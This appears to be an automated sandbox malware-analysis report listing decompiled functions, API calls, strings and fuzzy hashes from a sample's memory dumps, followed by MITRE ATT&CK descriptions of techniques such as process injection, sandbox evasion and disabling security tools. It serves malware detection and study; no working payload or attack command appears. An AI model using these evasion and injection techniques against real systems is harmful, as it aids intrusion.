Opcode ID: 384e7b41d56f02df40bbae0d9b4d314f63b82b5f2e7873df5ab2f5ce30dff218
Instruction ID: ea2d50edcab069f2823998c50ed76bd648ccc67dbf955d9620cd34113126ca49
Opcode Fuzzy Hash: 384e7b41d56f02df40bbae0d9b4d314f63b82b5f2e7873df5ab2f5ce30dff218
Instruction Fuzzy Hash: 37E09A3224822267E6203BBD7C0EF8E3B58FB84B61F014144F7C9CA0C0EE64C84097A1

Uniqueness

Uniqueness Score: -1.00%

Function 00899897, Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 008998A3
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,?,00893811,?,?,00000001,?), ref: 008998AB
_get_osfhandle.MSVCRT ref: 008998C1
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000,00893811,?,?,00000001,?), ref: 008998C9

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: f57050d0be1ec49944e44ed9f6a2d2e5f2cd32573943b8a1700128bbdb9cc889
Instruction ID: 9359f77265efbf90e555365aa95a61cd71ecb65e2c58b0d3a5f3013eabf2983d
Opcode Fuzzy Hash: f57050d0be1ec49944e44ed9f6a2d2e5f2cd32573943b8a1700128bbdb9cc889
Instruction Fuzzy Hash: 68E09A72900708EBEB00ABA0EC0EAAA77BCFB04320F140A49FA54C21D0EA719A049660

Uniqueness

Uniqueness Score: -1.00%

Function 00884C00, Relevance: 6.0, APIs: 4, Instructions: 17COMMON

Download Yara Rule

APIs

_get_osfhandle.MSVCRT ref: 00884C19
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00884C21
_get_osfhandle.MSVCRT ref: 00884C2F
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00884C37

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleMode_get_osfhandle
String ID:
API String ID: 1606018815-0
Opcode ID: 4b44296b3840eaf0a54e73e31b6e2561256138a26aef299bd2f7dd86844355db
Instruction ID: 776f17ba7da9207a82fbab13615348ee5a37b05482153df838c4061f87b015ae
Opcode Fuzzy Hash: 4b44296b3840eaf0a54e73e31b6e2561256138a26aef299bd2f7dd86844355db
Instruction Fuzzy Hash: 22E02672500700EFEB08ABB0FD0EB567BF5F70A741B145A29F651876A1DB799500DB10

Uniqueness

Uniqueness Score: -1.00%

Function 0087ACD5, Relevance: 6.0, APIs: 4, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,?,0087ACAB), ref: 0087ACDE
RtlFreeHeap.NTDLL(00000000), ref: 0087ACE5
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?), ref: 0087ACEE
RtlFreeHeap.NTDLL(00000000), ref: 0087ACF5

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 8ad6b2bbd31c664550986382deae01ec569bcde55e2034e85571e2034700281f
Instruction ID: 3efd980652a3c50d56728b2132600b4e6b82eafc7ca4a2eaeeb764de6e147c2a
Opcode Fuzzy Hash: 8ad6b2bbd31c664550986382deae01ec569bcde55e2034e85571e2034700281f
Instruction Fuzzy Hash: 95D0C932448111BBDB503BE8BC0DFCA3F28FF4D322F010641F7C9820609AB8C840AB60

Uniqueness

Uniqueness Score: -1.00%

Function 00879429, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 194COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

Part of subcall function 0087D7D4: wcschr.MSVCRT ref: 0087D7DA

Part of subcall function 0087EEF0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,00000000,00000000,?,0087E5F6,?,00000000,00000000,00000000), ref: 0087EF39
Part of subcall function 0087EEF0: RtlFreeHeap.NTDLL(00000000,?,0087E5F6), ref: 0087EF40
Part of subcall function 0087EEF0: _setjmp3.MSVCRT ref: 0087EFA5

_wcsupr.MSVCRT ref: 00890A16

Part of subcall function 00882ABE: memset.MSVCRT ref: 00882B59
Part of subcall function 00882ABE: ??_V@YAXPAX@Z.MSVCRT ref: 00882C13

Strings

IF, xrefs: 00890A1D
FOR, xrefs: 00890A53

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFree_setjmp3_wcsuprmemsetwcschr
String ID: FOR$ IF
API String ID: 3818062306-2924197646
Opcode ID: cdd35848b9213d767b2ea911bf051c1a07ba8eb85415433b6488845a3eac57b1
Instruction ID: 04f81e711171e2cfaaebfeb1527a148a7d40dc1b2b7dbde52b4e4ee89410621f
Opcode Fuzzy Hash: cdd35848b9213d767b2ea911bf051c1a07ba8eb85415433b6488845a3eac57b1
Instruction Fuzzy Hash: 8C5136327043129EDF257B28885177A32A6FF94758B288069E94ACB399EF71DD42C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 0089B2BF, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

wcschr.MSVCRT ref: 0089B377
memcpy.MSVCRT ref: 0089B3F7

Strings

&()[]{}^=;!%'+,`~, xrefs: 0089B372

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcessmemcpywcschr
String ID: &()[]{}^=;!%'+,`~
API String ID: 3241892172-381716982
Opcode ID: 9fc3acd8c18525f593d5373ceb4d935eec5d31f8fa1adadabb2d5f1f921f33b6
Instruction ID: a44ea3fe2cd3d748807280ec0a3008494e83180521c7ef5543b09b6f3d5f6fc1
Opcode Fuzzy Hash: 9fc3acd8c18525f593d5373ceb4d935eec5d31f8fa1adadabb2d5f1f921f33b6
Instruction Fuzzy Hash: BD613B70E04219CFCF18EFA8EA905ADB7F1FF48314B29812AE815E7351DB709941DB59

Uniqueness

Uniqueness Score: -1.00%

Function 0087DE4F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 0087DE60

Part of subcall function 0087F300: _setjmp3.MSVCRT ref: 0087F318
Part of subcall function 0087F300: iswspace.MSVCRT ref: 0087F35B
Part of subcall function 0087F300: wcschr.MSVCRT ref: 0087F37D
Part of subcall function 0087F300: iswdigit.MSVCRT ref: 0087F3DE

Part of subcall function 008800B0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000), ref: 008800C1
Part of subcall function 008800B0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0087DF68,00000001,?,00000000,00883458,-00000105,0089BDD8,00000240,00884B82,00000000,00000000,0088AE6E,00000000,?), ref: 008800C8

longjmp.MSVCRT(008AB8B8,00000001,00000000), ref: 0088BCF2

Strings

REM/?, xrefs: 0087DE59

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess_setjmp3_wcsicmpiswdigitiswspacelongjmpwcschr
String ID: REM/?
API String ID: 1631155197-4093888634
Opcode ID: 7f6f064b87fb4fac32cc631cf805e91d04e0c2d9f7e9e2cf87d7f27646af7d44
Instruction ID: 7cbdce0b9be4bf849750001864e216627d4e11dc6846ce1538b56d0b00d12d07
Opcode Fuzzy Hash: 7f6f064b87fb4fac32cc631cf805e91d04e0c2d9f7e9e2cf87d7f27646af7d44
Instruction Fuzzy Hash: 2021D3233103109AF765B77AAD46B6722A5FF81758F10C43BE64ADB6A6DE74D801C312

Uniqueness

Uniqueness Score: -1.00%

Function 00894A29, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Classes,00000000,02000000,?,0089C120,0000001C,00895CB1), ref: 00894A58

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000003), ref: 00894B28

Part of subcall function 0089587B: RegCreateKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 008958AF
Part of subcall function 0089587B: RegSetValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000000,00000000,00000001,?,00000000,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,0089C0E0), ref: 008958E5
Part of subcall function 0089587B: RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,00000000,00000000,00000000,00000002,00000000,?,00000000,0089C0E0,00000018,00894B14,00000000,00000003), ref: 008958F3

Strings

Software\Classes, xrefs: 00894A4E

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$Close$CreateOpenValueiswspace
String ID: Software\Classes
API String ID: 1047774138-1656466771
Opcode ID: 45d5da222b458e3c2f0f8cee2b82783b4ab952561d121eba6e75066b55ed44ae
Instruction ID: ce6e8e8796ad37eed7340d9e3f1905379caf0f6642a8966ff4a264bf41254770
Opcode Fuzzy Hash: 45d5da222b458e3c2f0f8cee2b82783b4ab952561d121eba6e75066b55ed44ae
Instruction Fuzzy Hash: B7317C31F042149BCF18FBFD8851AADB6B1FF88750B28812EE006F7295EA748D018B65

Uniqueness

Uniqueness Score: -1.00%

Function 008951C5, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(80000002,Software\Classes,00000000,02000000,?,0089C0C0,0000001C,00895CE1), ref: 008951F4

Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EAB7
Part of subcall function 0087EA40: iswspace.MSVCRT ref: 0087EB2D
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB49
Part of subcall function 0087EA40: wcschr.MSVCRT ref: 0087EB6D

RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,00000003), ref: 008952BD

Strings

Software\Classes, xrefs: 008951EA

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: wcschr$CloseOpeniswspace
String ID: Software\Classes
API String ID: 2439148603-1656466771
Opcode ID: c4c4780613244f776cc629ec0e8d6b70feb7df9f77d57c3f268eebca245aa5db
Instruction ID: 609b11e3f47984102bf17885b7393218cde7d4c25ace2ce94267e9f8e5a83765
Opcode Fuzzy Hash: c4c4780613244f776cc629ec0e8d6b70feb7df9f77d57c3f268eebca245aa5db
Instruction Fuzzy Hash: A0218E31E047059BCF19BBF888516ADB6B1FF88700B28812DE416FB299EA708D018B61

Uniqueness

Uniqueness Score: -1.00%

Function 0088100C, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 84COMMON

Download Yara Rule

APIs

GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000104,?,00000000,00000000,?,?,00880B7F), ref: 0088CDDF
SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000,00000000, - ,?,00000000,00000000,?), ref: 0088CE81

Strings

- , xrefs: 0088CE47

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: ConsoleTitle
String ID: -
API String ID: 3358957663-3695764949
Opcode ID: 2f036400314e4ccf9501ee53783c15b78ba4f27c309adfeab66712569a03b7fd
Instruction ID: 8fed239dfc048a2e3f2992b709542e23861a753abc05f07a413ec21ee1c8a6b1
Opcode Fuzzy Hash: 2f036400314e4ccf9501ee53783c15b78ba4f27c309adfeab66712569a03b7fd
Instruction Fuzzy Hash: 52214732A006008BCB26BB6CDC5977E77A9FB80304F28412DE806D7358EE305D478B92

Uniqueness

Uniqueness Score: -1.00%

Function 00898430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00898459
printf.MSVCRT ref: 008984B4

Strings

%3d, xrefs: 00898466, 00898470, 00898496

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@printf
String ID: %3d
API String ID: 2845598586-2138283368
Opcode ID: 4727f67a988e08cdd5964f2f3969d2513ec78915e4ddbe2b8af4ee035a6ee833
Instruction ID: e3407e7c23cc06ca9c4fc027322c6073cbcd5d7d726d06483862429bedf88988
Opcode Fuzzy Hash: 4727f67a988e08cdd5964f2f3969d2513ec78915e4ddbe2b8af4ee035a6ee833
Instruction Fuzzy Hash: D601F971540205BBEB217A959C8AFEB3A5DFB85BA0F048018FB0CE6191D9B19C509372

Uniqueness

Uniqueness Score: -1.00%

Function 00880C70, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 008872B5: __EH_prolog3_catch.LIBCMT ref: 00887650

??_V@YAXPAX@Z.MSVCRT ref: 00880CBA
memset.MSVCRT ref: 00880CDD

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 0088CD51

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: H_prolog3_catchmemset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 620422817-3416068913
Opcode ID: e8655a2ba89f743524192f279d6e2b5068476de94333e3624c99d3032c46a247
Instruction ID: c7e97e5059b7d29c891f3e5de10c463250edbf29dae25ed6fa1c9a48eeb8177a
Opcode Fuzzy Hash: e8655a2ba89f743524192f279d6e2b5068476de94333e3624c99d3032c46a247
Instruction Fuzzy Hash: 7101D872300304ABD760AA79DC49B6BB2DAFB80350F14463AF55AD7341DAB6EC4087A1

Uniqueness

Uniqueness Score: -1.00%

Function 0363FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0363FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E035ECE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E03635720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E03635720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0363fdda
0x0363fde2
0x0363fde5
0x0363fdec
0x0363fdfa
0x0363fdff
0x0363fe0a
0x0363fe0f
0x0363fe17
0x0363fe1e
0x0363fe19
0x0363fe19
0x0363fe19
0x0363fe20
0x0363fe21
0x0363fe22
0x0363fe25
0x0363fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0363FDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0363FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0363FE01

Memory Dump Source

Source File: 00000017.00000002.517597976.0000000003580000.00000040.00000001.sdmp, Offset: 03580000, based on PE: true

Associated: 00000017.00000002.518412476.000000000369B000.00000040.00000001.sdmp Download File
Associated: 00000017.00000002.518459422.000000000369F000.00000040.00000001.sdmp Download File

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: c72d87a3a618293e54a5a9c7fef0d3ed4b83036a340ba34d08bbce1ed01185ad
Instruction ID: 9fbeffd28bb0332a51ee0958b0ffa50f54604618bf793c1edf1ed8c6675bd514
Opcode Fuzzy Hash: c72d87a3a618293e54a5a9c7fef0d3ed4b83036a340ba34d08bbce1ed01185ad
Instruction Fuzzy Hash: D8F0F636640201BFEA249A45DC06F23BB6AEB46730F140315F6285A1E1DA62F82086F4

Uniqueness

Uniqueness Score: -1.00%

Function 0087DEF9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

iswspace.MSVCRT ref: 0087DF07
wcschr.MSVCRT ref: 0087DF18

Strings

=,;, xrefs: 0087DF13

Memory Dump Source

Source File: 00000017.00000002.511566191.0000000000870000.00000040.00020000.sdmp, Offset: 00870000, based on PE: true

Associated: 00000017.00000002.511922129.00000000008B9000.00000040.00020000.sdmp Download File
Associated: 00000017.00000002.511961521.00000000008BD000.00000040.00020000.sdmp Download File

Similarity

API ID: iswspacewcschr
String ID: =,;
API String ID: 287713880-1539845467
Opcode ID: bddb0c340035dffc8af2d0b3e06fc8e0229e2d1915a7eecf844ae24056e38bcf
Instruction ID: bed0502a14d103c3028d0c1ab29d12dd96390fc4144367af300143f2fa1ee886
Opcode Fuzzy Hash: bddb0c340035dffc8af2d0b3e06fc8e0229e2d1915a7eecf844ae24056e38bcf
Instruction Fuzzy Hash: 0AE04F37608722D247340A09BD0996B97F9FFEAB2132B811BF85ED3258EE51DC819290

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

